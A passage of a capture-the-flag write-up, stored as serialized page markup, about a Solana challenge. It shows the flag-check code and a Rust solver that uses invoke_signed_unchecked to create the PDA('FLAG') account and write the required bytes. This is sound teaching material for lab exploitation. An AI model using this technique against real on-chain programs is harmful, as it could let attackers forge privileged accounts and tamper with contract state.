pe":30,"value":13632},{"type":25,"tag":271,"props":55614,"children":55615},{"style":13625},[55616],{"type":30,"value":5604},{"type":25,"tag":271,"props":55618,"children":55619},{"style":13598},[55620],{"type":30,"value":55621},"solve_ix",{"type":25,"tag":271,"props":55623,"children":55624},{"style":13625},[55625],{"type":30,"value":36160},{"type":25,"tag":271,"props":55627,"children":55628},{"style":13603},[55629],{"type":30,"value":13632},{"type":25,"tag":271,"props":55631,"children":55632},{"style":13625},[55633],{"type":30,"value":5604},{"type":25,"tag":271,"props":55635,"children":55636},{"style":13603},[55637],{"type":30,"value":13632},{"type":25,"tag":271,"props":55639,"children":55640},{"style":13598},[55641],{"type":30,"value":55642},"user_keypair",{"type":25,"tag":271,"props":55644,"children":55645},{"style":13625},[55646],{"type":30,"value":36160},{"type":25,"tag":271,"props":55648,"children":55649},{"style":13603},[55650],{"type":30,"value":13632},{"type":25,"tag":271,"props":55652,"children":55653},{"style":13598},[55654],{"type":30,"value":33353},{"type":25,"tag":271,"props":55656,"children":55657},{"style":13625},[55658],{"type":30,"value":440},{"type":25,"tag":271,"props":55660,"children":55661},{"style":13603},[55662],{"type":30,"value":1860},{"type":25,"tag":271,"props":55664,"children":55665},{"style":16171},[55666],{"type":30,"value":46029},{"type":25,"tag":271,"props":55668,"children":55669},{"style":13603},[55670],{"type":30,"value":5632},{"type":25,"tag":271,"props":55672,"children":55673},{"style":13625},[55674],{"type":30,"value":16165},{"type":25,"tag":661,"props":55676,"children":55677},{"start":14391},[55678],{"type":25,"tag":112,"props":55679,"children":55680},{},[55681],{"type":30,"value":55682},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":25,"tag":7764,"props":55684,"children":55686},{"className":13586,"code":55685,"language":13585,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[55687],{"type":25,"tag":264,"props":55688,"children":55689},{"__ignoreMap":7},[55690,55774,55865,55906,55990,55997,56034,56091,56136,56151,56187,56194,56201],{"type":25,"tag":271,"props":55691,"children":55692},{"class":13593,"line":13594},[55693,55697,55702,55706,55710,55714,55719,55723,55727,55731,55736,55740,55745,55750,55754,55758,55762,55766,55770],{"type":25,"tag":271,"props":55694,"children":55695},{"style":14289},[55696],{"type":30,"value":24912},{"type":25,"tag":271,"props":55698,"children":55699},{"style":13598},[55700],{"type":30,"value":55701}," flag",{"type":25,"tag":271,"props":55703,"children":55704},{"style":13603},[55705],{"type":30,"value":16155},{"type":25,"tag":271,"props":55707,"children":55708},{"style":13609},[55709],{"type":30,"value":33977},{"type":25,"tag":271,"props":55711,"children":55712},{"style":13603},[55713],{"type":30,"value":13617},{"type":25,"tag":271,"props":55715,"children":55716},{"style":13620},[55717],{"type":30,"value":55718},"create_program_address",{"type":25,"tag":271,"props":55720,"children":55721},{"style":13625},[55722],{"type":30,"value":394},{"type":25,"tag":271,"props":55724,"children":55725},{"style":13603},[55726],{"type":30,"value":13632},{"type":25,"tag":271,"props":55728,"children":55729},{"style":13625},[55730],{"type":30,"value":5604},{"type":25,"tag":271,"props":55732,"children":55733},{"style":17388},[55734],{"type":30,"value":55735},"\"FLAG\"",{"type":25,"tag":271,"props":55737,"children":55738},{"style":13603},[55739],{"type":30,"value":1860},{"type":25,"tag":271,"props":55741,"children":55742},{"style":13620},[55743],{"type":30,"value":55744},"as_ref",{"type":25,"tag":271,"props":55746,"children":55747},{"style":13625},[55748],{"type":30,"value":55749},"()], ",{"type":25,"tag":271,"props":55751,"children":55752},{"style":13603},[55753],{"type":30,"value":13632},{"type":25,"tag":271,"props":55755,"children":55756},{"style":13625},[55757],{"type":30,"value":55324},{"type":25,"tag":271,"props":55759,"children":55760},{"style":13603},[55761],{"type":30,"value":13617},{"type":25,"tag":271,"props":55763,"children":55764},{"style":13625},[55765],{"type":30,"value":55580},{"type":25,"tag":271,"props":55767,"children":55768},{"style":13603},[55769],{"type":30,"value":5632},{"type":25,"tag":271,"props":55771,"children":55772},{"style":13625},[55773],{"type":30,"value":16165},{"type":25,"tag":271,"props":55775,"children":55776},{"class":13593,"line":11641},[55777,55781,55785,55789,55793,55798,55802,55806,55810,55814,55818,55822,55827,55831,55836,55840,55845,55849,55853,55857,55861],{"type":25,"tag":271,"props":55778,"children":55779},{"style":16171},[55780],{"type":30,"value":28701},{"type":25,"tag":271,"props":55782,"children":55783},{"style":14289},[55784],{"type":30,"value":40415},{"type":25,"tag":271,"props":55786,"children":55787},{"style":13609},[55788],{"type":30,"value":40420},{"type":25,"tag":271,"props":55790,"children":55791},{"style":13625},[55792],{"type":30,"value":394},{"type":25,"tag":271,"props":55794,"children":55795},{"style":13598},[55796],{"type":30,"value":55797},"acct",{"type":25,"tag":271,"props":55799,"children":55800},{"style":13625},[55801],{"type":30,"value":14406},{"type":25,"tag":271,"props":55803,"children":55804},{"style":13603},[55805],{"type":30,"value":1065},{"type":25,"tag":271,"props":55807,"children":55808},{"style":13598},[55809],{"type":30,"value":55155},{"type":25,"tag":271,"props":55811,"children":55812},{"style":13603},[55813],{"type":30,"value":1860},{"type":25,"tag":271,"props":55815,"children":55816},{"style":13625},[55817],{"type":30,"value":33401},{"type":25,"tag":271,"props":55819,"children":55820},{"style":13603},[55821],{"type":30,"value":1860},{"type":25,"tag":271,"props":55823,"children":55824},{"style":13625},[55825],{"type":30,"value":55826},"banks_client",{"type":25,"tag":271,"props":55828,"children":55829},{"style":13603},[55830],{"type":30,"value":1860},{"type":25,"tag":271,"props":55832,"children":55833},{"style":13620},[55834],{"type":30,"value":55835},"get_account",{"type":25,"tag":271,"props":55837,"children":55838},{"style":13625},[55839],{"type":30,"value":394},{"type":25,"tag":271,"props":55841,"children":55842},{"style":13598},[55843],{"type":30,"value":55844},"flag",{"type":25,"tag":271,"props":55846,"children":55847},{"style":13625},[55848],{"type":30,"value":440},{"type":25,"tag":271,"props":55850,"children":55851},{"style":13603},[55852],{"type":30,"value":1860},{"type":25,"tag":271,"props":55854,"children":55855},{"style":16171},[55856],{"type":30,"value":46029},{"type":25,"tag":271,"props":55858,"children":55859},{"style":13603},[55860],{"type":30,"value":5632},{"type":25,"tag":271,"props":55862,"children":55863},{"style":13625},[55864],{"type":30,"value":16431},{"type":25,"tag":271,"props":55866,"children":55867},{"class":13593,"line":14354},[55868,55872,55877,55881,55885,55889,55893,55897,55901],{"type":25,"tag":271,"props":55869,"children":55870},{"style":16171},[55871],{"type":30,"value":25404},{"type":25,"tag":271,"props":55873,"children":55874},{"style":13598},[55875],{"type":30,"value":55876}," acct",{"type":25,"tag":271,"props":55878,"children":55879},{"style":13603},[55880],{"type":30,"value":1860},{"type":25,"tag":271,"props":55882,"children":55883},{"style":13625},[55884],{"type":30,"value":10346},{"type":25,"tag":271,"props":55886,"children":55887},{"style":13603},[55888],{"type":30,"value":1860},{"type":25,"tag":271,"props":55890,"children":55891},{"style":13620},[55892],{"type":30,"value":22261},{"type":25,"tag":271,"props":55894,"children":55895},{"style":13625},[55896],{"type":30,"value":27164},{"type":25,"tag":271,"props":55898,"children":55899},{"style":13603},[55900],{"type":30,"value":21696},{"type":25,"tag":271,"props":55902,"children":55903},{"style":16187},[55904],{"type":30,"value":55905}," 0x1337\n",{"type":25,"tag":271,"props":55907,"children":55908},{"class":13593,"line":14391},[55909,55914,55918,55922,55927,55931,55935,55939,55944,55948,55952,55956,55960,55964,55968,55972,55976,55981,55985],{"type":25,"tag":271,"props":55910,"children":55911},{"style":13603},[55912],{"type":30,"value":55913},"        &&",{"type":25,"tag":271,"props":55915,"children":55916},{"style":13609},[55917],{"type":30,"value":18991},{"type":25,"tag":271,"props":55919,"children":55920},{"style":13603},[55921],{"type":30,"value":13617},{"type":25,"tag":271,"props":55923,"children":55924},{"style":13620},[55925],{"type":30,"value":55926},"from_le_bytes",{"type":25,"tag":271,"props":55928,"children":55929},{"style":13625},[55930],{"type":30,"value":394},{"type":25,"tag":271,"props":55932,"children":55933},{"style":13598},[55934],{"type":30,"value":55797},{"type":25,"tag":271,"props":55936,"children":55937},{"style":13603},[55938],{"type":30,"value":1860},{"type":25,"tag":271,"props":55940,"children":55941},{"style":13625},[55942],{"type":30,"value":55943},"data[",{"type":25,"tag":271,"props":55945,"children":55946},{"style":13603},[55947],{"type":30,"value":16195},{"type":25,"tag":271,"props":55949,"children":55950},{"style":16187},[55951],{"type":30,"value":17214},{"type":25,"tag":271,"props":55953,"children":55954},{"style":13625},[55955],{"type":30,"value":5630},{"type":25,"tag":271,"props":55957,"children":55958},{"style":13603},[55959],{"type":30,"value":1860},{"type":25,"tag":271,"props":55961,"children":55962},{"style":13620},[55963],{"type":30,"value":39272},{"type":25,"tag":271,"props":55965,"children":55966},{"style":13625},[55967],{"type":30,"value":27000},{"type":25,"tag":271,"props":55969,"children":55970},{"style":13603},[55971],{"type":30,"value":1860},{"type":25,"tag":271,"props":55973,"children":55974},{"style":13620},[55975],{"type":30,"value":16815},{"type":25,"tag":271,"props":55977,"children":55978},{"style":13625},[55979],{"type":30,"value":55980},"()) ",{"type":25,"tag":271,"props":55982,"children":55983},{"style":13603},[55984],{"type":30,"value":21696},{"type":25,"tag":271,"props":55986,"children":55987},{"style":16187},[55988],{"type":30,"value":55989}," 0x4337\n",{"type":25,"tag":271,"props":55991,"children":55992},{"class":13593,"line":14400},[55993],{"type":25,"tag":271,"props":55994,"children":55995},{"style":13625},[55996],{"type":30,"value":42299},{"type":25,"tag":271,"props":55998,"children":55999},{"class":13593,"line":16406},[56000,56005,56009,56013,56017,56022,56026,56030],{"type":25,"tag":271,"props":56001,"children":56002},{"style":13620},[56003],{"type":30,"value":56004},"        writeln!",{"type":25,"tag":271,"props":56006,"children":56007},{"style":13625},[56008],{"type":30,"value":394},{"type":25,"tag":271,"props":56010,"children":56011},{"style":13598},[56012],{"type":30,"value":55050},{"type":25,"tag":271,"props":56014,"children":56015},{"style":13625},[56016],{"type":30,"value":44},{"type":25,"tag":271,"props":56018,"children":56019},{"style":17388},[56020],{"type":30,"value":56021},"\"congrats!\"",{"type":25,"tag":271,"props":56023,"children":56024},{"style":13625},[56025],{"type":30,"value":440},{"type":25,"tag":271,"props":56027,"children":56028},{"style":13603},[56029],{"type":30,"value":5632},{"type":25,"tag":271,"props":56031,"children":56032},{"style":13625},[56033],{"type":30,"value":16165},{"type":25,"tag":271,"props":56035,"children":56036},{"class":13593,"line":16434},[56037,56041,56045,56050,56054,56058,56062,56066,56071,56075,56079,56083,56087],{"type":25,"tag":271,"props":56038,"children":56039},{"style":16171},[56040],{"type":30,"value":16412},{"type":25,"tag":271,"props":56042,"children":56043},{"style":14289},[56044],{"type":30,"value":40415},{"type":25,"tag":271,"props":56046,"children":56047},{"style":13609},[56048],{"type":30,"value":56049}," Ok",{"type":25,"tag":271,"props":56051,"children":56052},{"style":13625},[56053],{"type":30,"value":394},{"type":25,"tag":271,"props":56055,"children":56056},{"style":13598},[56057],{"type":30,"value":55844},{"type":25,"tag":271,"props":56059,"children":56060},{"style":13625},[56061],{"type":30,"value":14406},{"type":25,"tag":271,"props":56063,"children":56064},{"style":13603},[56065],{"type":30,"value":1065},{"type":25,"tag":271,"props":56067,"children":56068},{"style":13625},[56069],{"type":30,"value":56070}," env",{"type":25,"tag":271,"props":56072,"children":56073},{"style":13603},[56074],{"type":30,"value":13617},{"type":25,"tag":271,"props":56076,"children":56077},{"style":13620},[56078],{"type":30,"value":48158},{"type":25,"tag":271,"props":56080,"children":56081},{"style":13625},[56082],{"type":30,"value":394},{"type":25,"tag":271,"props":56084,"children":56085},{"style":17388},[56086],{"type":30,"value":55735},{"type":25,"tag":271,"props":56088,"children":56089},{"style":13625},[56090],{"type":30,"value":27925},{"type":25,"tag":271,"props":56092,"children":56093},{"class":13593,"line":16447},[56094,56099,56103,56107,56111,56116,56120,56124,56128,56132],{"type":25,"tag":271,"props":56095,"children":56096},{"style":13620},[56097],{"type":30,"value":56098},"            writeln!",{"type":25,"tag":271,"props":56100,"children":56101},{"style":13625},[56102],{"type":30,"value":394},{"type":25,"tag":271,"props":56104,"children":56105},{"style":13598},[56106],{"type":30,"value":55050},{"type":25,"tag":271,"props":56108,"children":56109},{"style":13625},[56110],{"type":30,"value":44},{"type":25,"tag":271,"props":56112,"children":56113},{"style":17388},[56114],{"type":30,"value":56115},"\"flag: {:?}\"",{"type":25,"tag":271,"props":56117,"children":56118},{"style":13625},[56119],{"type":30,"value":44},{"type":25,"tag":271,"props":56121,"children":56122},{"style":13598},[56123],{"type":30,"value":55844},{"type":25,"tag":271,"props":56125,"children":56126},{"style":13625},[56127],{"type":30,"value":440},{"type":25,"tag":271,"props":56129,"children":56130},{"style":13603},[56131],{"type":30,"value":5632},{"type":25,"tag":271,"props":56133,"children":56134},{"style":13625},[56135],{"type":30,"value":16165},{"type":25,"tag":271,"props":56137,"children":56138},{"class":13593,"line":16465},[56139,56143,56147],{"type":25,"tag":271,"props":56140,"children":56141},{"style":13625},[56142],{"type":30,"value":16453},{"type":25,"tag":271,"props":56144,"children":56145},{"style":16171},[56146],{"type":30,"value":16458},{"type":25,"tag":271,"props":56148,"children":56149},{"style":13625},[56150],{"type":30,"value":16431},{"type":25,"tag":271,"props":56152,"children":56153},{"class":13593,"line":16486},[56154,56158,56162,56166,56170,56175,56179,56183],{"type":25,"tag":271,"props":56155,"children":56156},{"style":13620},[56157],{"type":30,"value":56098},{"type":25,"tag":271,"props":56159,"children":56160},{"style":13625},[56161],{"type":30,"value":394},{"type":25,"tag":271,"props":56163,"children":56164},{"style":13598},[56165],{"type":30,"value":55050},{"type":25,"tag":271,"props":56167,"children":56168},{"style":13625},[56169],{"type":30,"value":44},{"type":25,"tag":271,"props":56171,"children":56172},{"style":17388},[56173],{"type":30,"value":56174},"\"flag not found, please contact admin\"",{"type":25,"tag":271,"props":56176,"children":56177},{"style":13625},[56178],{"type":30,"value":440},{"type":25,"tag":271,"props":56180,"children":56181},{"style":13603},[56182],{"type":30,"value":5632},{"type":25,"tag":271,"props":56184,"children":56185},{"style":13625},[56186],{"type":30,"value":16165},{"type":25,"tag":271,"props":56188,"children":56189},{"class":13593,"line":16495},[56190],{"type":25,"tag":271,"props":56191,"children":56192},{"style":13625},[56193],{"type":30,"value":16492},{"type":25,"tag":271,"props":56195,"children":56196},{"class":13593,"line":16744},[56197],{"type":25,"tag":271,"props":56198,"children":56199},{"style":13625},[56200],{"type":30,"value":16501},{"type":25,"tag":271,"props":56202,"children":56203},{"class":13593,"line":16761},[56204],{"type":25,"tag":271,"props":56205,"children":56206},{"style":13625},[56207],{"type":30,"value":17058},{"type":25,"tag":96,"props":56209,"children":56211},{"id":56210},"solution-idea",[56212],{"type":30,"value":56213},"Solution Idea",{"type":25,"tag":26,"props":56215,"children":56216},{},[56217,56219,56224],{"type":30,"value":56218},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":25,"tag":264,"props":56220,"children":56222},{"className":56221},[],[56223],{"type":30,"value":48793},{"type":30,"value":56225}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":25,"tag":26,"props":56227,"children":56228},{},[56229,56231,56237],{"type":30,"value":56230},"In order to get the flag, we need to make sure that the account at ",{"type":25,"tag":264,"props":56232,"children":56234},{"className":56233},[],[56235],{"type":30,"value":56236},"PDA(\"FLAG\")",{"type":30,"value":56238}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":25,"tag":26,"props":56240,"children":56241},{},[56242,56244,56251],{"type":30,"value":56243},"Essentially, we need to ",{"type":25,"tag":83,"props":56245,"children":56248},{"href":56246,"rel":56247},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[9066],[56249],{"type":30,"value":56250},"invoke the System Program",{"type":30,"value":56252},", and write controlled data into the newly created account.",{"type":25,"tag":26,"props":56254,"children":56255},{},[56256],{"type":30,"value":56257},"A sample program that does this is as follows:",{"type":25,"tag":7764,"props":56259,"children":56261},{"className":13586,"code":56260,"language":13585,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[56262],{"type":25,"tag":264,"props":56263,"children":56264},{"__ignoreMap":7},[56265,56285,56309,56337,56365,56385,56421,56457,56464,56472,56505,56522,56547,56568,56620,56645,56652,56665,56711,56755,56763,56771,56782,56798,56809,56829,56849,56856,56892,56907,56914,56922,57001,57008,57019],{"type":25,"tag":271,"props":56266,"children":56267},{"class":13593,"line":13594},[56268,56272,56276,56281],{"type":25,"tag":271,"props":56269,"children":56270},{"style":14289},[56271],{"type":30,"value":14292},{"type":25,"tag":271,"props":56273,"children":56274},{"style":14289},[56275],{"type":30,"value":14297},{"type":25,"tag":271,"props":56277,"children":56278},{"style":13620},[56279],{"type":30,"value":56280}," process_instruction",{"type":25,"tag":271,"props":56282,"children":56283},{"style":13625},[56284],{"type":30,"value":16609},{"type":25,"tag":271,"props":56286,"children":56287},{"class":13593,"line":11641},[56288,56293,56297,56301,56305],{"type":25,"tag":271,"props":56289,"children":56290},{"style":13598},[56291],{"type":30,"value":56292},"    program_id",{"type":25,"tag":271,"props":56294,"children":56295},{"style":13603},[56296],{"type":30,"value":359},{"type":25,"tag":271,"props":56298,"children":56299},{"style":13603},[56300],{"type":30,"value":14341},{"type":25,"tag":271,"props":56302,"children":56303},{"style":13609},[56304],{"type":30,"value":34518},{"type":25,"tag":271,"props":56306,"children":56307},{"style":13625},[56308],{"type":30,"value":14351},{"type":25,"tag":271,"props":56310,"children":56311},{"class":13593,"line":14354},[56312,56317,56321,56325,56329,56333],{"type":25,"tag":271,"props":56313,"children":56314},{"style":13598},[56315],{"type":30,"value":56316},"    accounts",{"type":25,"tag":271,"props":56318,"children":56319},{"style":13603},[56320],{"type":30,"value":359},{"type":25,"tag":271,"props":56322,"children":56323},{"style":13603},[56324],{"type":30,"value":14341},{"type":25,"tag":271,"props":56326,"children":56327},{"style":13625},[56328],{"type":30,"value":5604},{"type":25,"tag":271,"props":56330,"children":56331},{"style":13609},[56332],{"type":30,"value":28060},{"type":25,"tag":271,"props":56334,"children":56335},{"style":13625},[56336],{"type":30,"value":27384},{"type":25,"tag":271,"props":56338,"children":56339},{"class":13593,"line":14391},[56340,56345,56349,56353,56357,56361],{"type":25,"tag":271,"props":56341,"children":56342},{"style":13598},[56343],{"type":30,"value":56344},"    data",{"type":25,"tag":271,"props":56346,"children":56347},{"style":13603},[56348],{"type":30,"value":359},{"type":25,"tag":271,"props":56350,"children":56351},{"style":13603},[56352],{"type":30,"value":14341},{"type":25,"tag":271,"props":56354,"children":56355},{"style":13625},[56356],{"type":30,"value":5604},{"type":25,"tag":271,"props":56358,"children":56359},{"style":13609},[56360],{"type":30,"value":16567},{"type":25,"tag":271,"props":56362,"children":56363},{"style":13625},[56364],{"type":30,"value":24897},{"type":25,"tag":271,"props":56366,"children":56367},{"class":13593,"line":14400},[56368,56372,56376,56381],{"type":25,"tag":271,"props":56369,"children":56370},{"style":13625},[56371],{"type":30,"value":14406},{"type":25,"tag":271,"props":56373,"children":56374},{"style":13603},[56375],{"type":30,"value":14411},{"type":25,"tag":271,"props":56377,"children":56378},{"style":13609},[56379],{"type":30,"value":56380}," ProgramResult",{"type":25,"tag":271,"props":56382,"children":56383},{"style":13625},[56384],{"type":30,"value":16431},{"type":25,"tag":271,"props":56386,"children":56387},{"class":13593,"line":16406},[56388,56392,56397,56401,56405,56409,56413,56417],{"type":25,"tag":271,"props":56389,"children":56390},{"style":14289},[56391],{"type":30,"value":16140},{"type":25,"tag":271,"props":56393,"children":56394},{"style":13598},[56395],{"type":30,"value":56396}," flag_pda_ai",{"type":25,"tag":271,"props":56398,"children":56399},{"style":13603},[56400],{"type":30,"value":16155},{"type":25,"tag":271,"props":56402,"children":56403},{"style":13603},[56404],{"type":30,"value":14341},{"type":25,"tag":271,"props":56406,"children":56407},{"style":13598},[56408],{"type":30,"value":27796},{"type":25,"tag":271,"props":56410,"children":56411},{"style":13625},[56412],{"type":30,"value":5604},{"type":25,"tag":271,"props":56414,"children":56415},{"style":16187},[56416],{"type":30,"value":953},{"type":25,"tag":271,"props":56418,"children":56419},{"style":13625},[56420],{"type":30,"value":44686},{"type":25,"tag":271,"props":56422,"children":56423},{"class":13593,"line":16434},[56424,56428,56433,56437,56441,56445,56449,56453],{"type":25,"tag":271,"props":56425,"children":56426},{"style":14289},[56427],{"type":30,"value":16140},{"type":25,"tag":271,"props":56429,"children":56430},{"style":13598},[56431],{"type":30,"value":56432}," user_ai",{"type":25,"tag":271,"props":56434,"children":56435},{"style":13603},[56436],{"type":30,"value":16155},{"type":25,"tag":271,"props":56438,"children":56439},{"style":13603},[56440],{"type":30,"value":14341},{"type":25,"tag":271,"props":56442,"children":56443},{"style":13598},[56444],{"type":30,"value":27796},{"type":25,"tag":271,"props":56446,"children":56447},{"style":13625},[56448],{"type":30,"value":5604},{"type":25,"tag":271,"props":56450,"children":56451},{"style":16187},[56452],{"type":30,"value":968},{"type":25,"tag":271,"props":56454,"children":56455},{"style":13625},[56456],{"type":30,"value":44686},{"type":25,"tag":271,"props":56458,"children":56459},{"class":13593,"line":16447},[56460],{"type":25,"tag":271,"props":56461,"children":56462},{"emptyLinePlaceholder":18},[56463],{"type":30,"value":16829},{"type":25,"tag":271,"props":56465,"children":56466},{"class":13593,"line":16465},[56467],{"type":25,"tag":271,"props":56468,"children":56469},{"style":14385},[56470],{"type":30,"value":56471},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":25,"tag":271,"props":56473,"children":56474},{"class":13593,"line":16486},[56475,56479,56484,56488,56492,56496,56501],{"type":25,"tag":271,"props":56476,"children":56477},{"style":14289},[56478],{"type":30,"value":16140},{"type":25,"tag":271,"props":56480,"children":56481},{"style":13598},[56482],{"type":30,"value":56483}," instruction",{"type":25,"tag":271,"props":56485,"children":56486},{"style":13603},[56487],{"type":30,"value":16155},{"type":25,"tag":271,"props":56489,"children":56490},{"style":13609},[56491],{"type":30,"value":54123},{"type":25,"tag":271,"props":56493,"children":56494},{"style":13603},[56495],{"type":30,"value":13617},{"type":25,"tag":271,"props":56497,"children":56498},{"style":13620},[56499],{"type":30,"value":56500},"new_with_bincode",{"type":25,"tag":271,"props":56502,"children":56503},{"style":13625},[56504],{"type":30,"value":16609},{"type":25,"tag":271,"props":56506,"children":56507},{"class":13593,"line":16495},[56508,56513,56517],{"type":25,"tag":271,"props":56509,"children":56510},{"style":13625},[56511],{"type":30,"value":56512},"        system_program",{"type":25,"tag":271,"props":56514,"children":56515},{"style":13603},[56516],{"type":30,"value":13617},{"type":25,"tag":271,"props":56518,"children":56519},{"style":13625},[56520],{"type":30,"value":56521},"ID,\n",{"type":25,"tag":271,"props":56523,"children":56524},{"class":13593,"line":16744},[56525,56529,56534,56538,56543],{"type":25,"tag":271,"props":56526,"children":56527},{"style":13603},[56528],{"type":30,"value":16617},{"type":25,"tag":271,"props":56530,"children":56531},{"style":13625},[56532],{"type":30,"value":56533},"SystemInstruction",{"type":25,"tag":271,"props":56535,"children":56536},{"style":13603},[56537],{"type":30,"value":13617},{"type":25,"tag":271,"props":56539,"children":56540},{"style":13609},[56541],{"type":30,"value":56542},"CreateAccount",{"type":25,"tag":271,"props":56544,"children":56545},{"style":13625},[56546],{"type":30,"value":16431},{"type":25,"tag":271,"props":56548,"children":56549},{"class":13593,"line":16761},[56550,56555,56559,56564],{"type":25,"tag":271,"props":56551,"children":56552},{"style":13598},[56553],{"type":30,"value":56554},"            space",{"type":25,"tag":271,"props":56556,"children":56557},{"style":13603},[56558],{"type":30,"value":359},{"type":25,"tag":271,"props":56560,"children":56561},{"style":16187},[56562],{"type":30,"value":56563}," 0x1337",{"type":25,"tag":271,"props":56565,"children":56566},{"style":13625},[56567],{"type":30,"value":14351},{"type":25,"tag":271,"props":56569,"children":56570},{"class":13593,"line":16778},[56571,56576,56580,56585,56589,56594,56598,56602,56607,56611,56616],{"type":25,"tag":271,"props":56572,"children":56573},{"style":13598},[56574],{"type":30,"value":56575},"            lamports",{"type":25,"tag":271,"props":56577,"children":56578},{"style":13603},[56579],{"type":30,"value":359},{"type":25,"tag":271,"props":56581,"children":56582},{"style":13625},[56583],{"type":30,"value":56584}," Rent",{"type":25,"tag":271,"props":56586,"children":56587},{"style":13603},[56588],{"type":30,"value":13617},{"type":25,"tag":271,"props":56590,"children":56591},{"style":13620},[56592],{"type":30,"value":56593},"default",{"type":25,"tag":271,"props":56595,"children":56596},{"style":13625},[56597],{"type":30,"value":27000},{"type":25,"tag":271,"props":56599,"children":56600},{"style":13603},[56601],{"type":30,"value":1860},{"type":25,"tag":271,"props":56603,"children":56604},{"style":13620},[56605],{"type":30,"value":56606},"minimum_balance",{"type":25,"tag":271,"props":56608,"children":56609},{"style":13625},[56610],{"type":30,"value":394},{"type":25,"tag":271,"props":56612,"children":56613},{"style":16187},[56614],{"type":30,"value":56615},"0x1337",{"type":25,"tag":271,"props":56617,"children":56618},{"style":13625},[56619],{"type":30,"value":19860},{"type":25,"tag":271,"props":56621,"children":56622},{"class":13593,"line":16791},[56623,56628,56632,56636,56640],{"type":25,"tag":271,"props":56624,"children":56625},{"style":13598},[56626],{"type":30,"value":56627},"            owner",{"type":25,"tag":271,"props":56629,"children":56630},{"style":13603},[56631],{"type":30,"value":359},{"type":25,"tag":271,"props":56633,"children":56634},{"style":13625},[56635],{"type":30,"value":55155},{"type":25,"tag":271,"props":56637,"children":56638},{"style":13603},[56639],{"type":30,"value":13617},{"type":25,"tag":271,"props":56641,"children":56642},{"style":13625},[56643],{"type":30,"value":56644},"ID\n",{"type":25,"tag":271,"props":56646,"children":56647},{"class":13593,"line":16800},[56648],{"type":25,"tag":271,"props":56649,"children":56650},{"style":13625},[56651],{"type":30,"value":38483},{"type":25,"tag":271,"props":56653,"children":56654},{"class":13593,"line":16823},[56655,56660],{"type":25,"tag":271,"props":56656,"children":56657},{"style":13620},[56658],{"type":30,"value":56659},"        vec!",{"type":25,"tag":271,"props":56661,"children":56662},{"style":13625},[56663],{"type":30,"value":56664},"[\n",{"type":25,"tag":271,"props":56666,"children":56667},{"class":13593,"line":16832},[56668,56673,56677,56681,56685,56689,56694,56698,56703,56707],{"type":25,"tag":271,"props":56669,"children":56670},{"style":13625},[56671],{"type":30,"value":56672},"            AccountMeta",{"type":25,"tag":271,"props":56674,"children":56675},{"style":13603},[56676],{"type":30,"value":13617},{"type":25,"tag":271,"props":56678,"children":56679},{"style":13620},[56680],{"type":30,"value":28244},{"type":25,"tag":271,"props":56682,"children":56683},{"style":13625},[56684],{"type":30,"value":394},{"type":25,"tag":271,"props":56686,"children":56687},{"style":13603},[56688],{"type":30,"value":17702},{"type":25,"tag":271,"props":56690,"children":56691},{"style":13598},[56692],{"type":30,"value":56693},"user_ai",{"type":25,"tag":271,"props":56695,"children":56696},{"style":13603},[56697],{"type":30,"value":1860},{"type":25,"tag":271,"props":56699,"children":56700},{"style":13625},[56701],{"type":30,"value":56702},"key, ",{"type":25,"tag":271,"props":56704,"children":56705},{"style":14289},[56706],{"type":30,"value":280},{"type":25,"tag":271,"props":56708,"children":56709},{"style":13625},[56710],{"type":30,"value":19860},{"type":25,"tag":271,"props":56712,"children":56713},{"class":13593,"line":16841},[56714,56718,56722,56726,56730,56734,56739,56743,56747,56751],{"type":25,"tag":271,"props":56715,"children":56716},{"style":13625},[56717],{"type":30,"value":56672},{"type":25,"tag":271,"props":56719,"children":56720},{"style":13603},[56721],{"type":30,"value":13617},{"type":25,"tag":271,"props":56723,"children":56724},{"style":13620},[56725],{"type":30,"value":28244},{"type":25,"tag":271,"props":56727,"children":56728},{"style":13625},[56729],{"type":30,"value":394},{"type":25,"tag":271,"props":56731,"children":56732},{"style":13603},[56733],{"type":30,"value":17702},{"type":25,"tag":271,"props":56735,"children":56736},{"style":13598},[56737],{"type":30,"value":56738},"flag_pda_ai",{"type":25,"tag":271,"props":56740,"children":56741},{"style":13603},[56742],{"type":30,"value":1860},{"type":25,"tag":271,"props":56744,"children":56745},{"style":13625},[56746],{"type":30,"value":56702},{"type":25,"tag":271,"props":56748,"children":56749},{"style":14289},[56750],{"type":30,"value":280},{"type":25,"tag":271,"props":56752,"children":56753},{"style":13625},[56754],{"type":30,"value":19860},{"type":25,"tag":271,"props":56756,"children":56757},{"class":13593,"line":16907},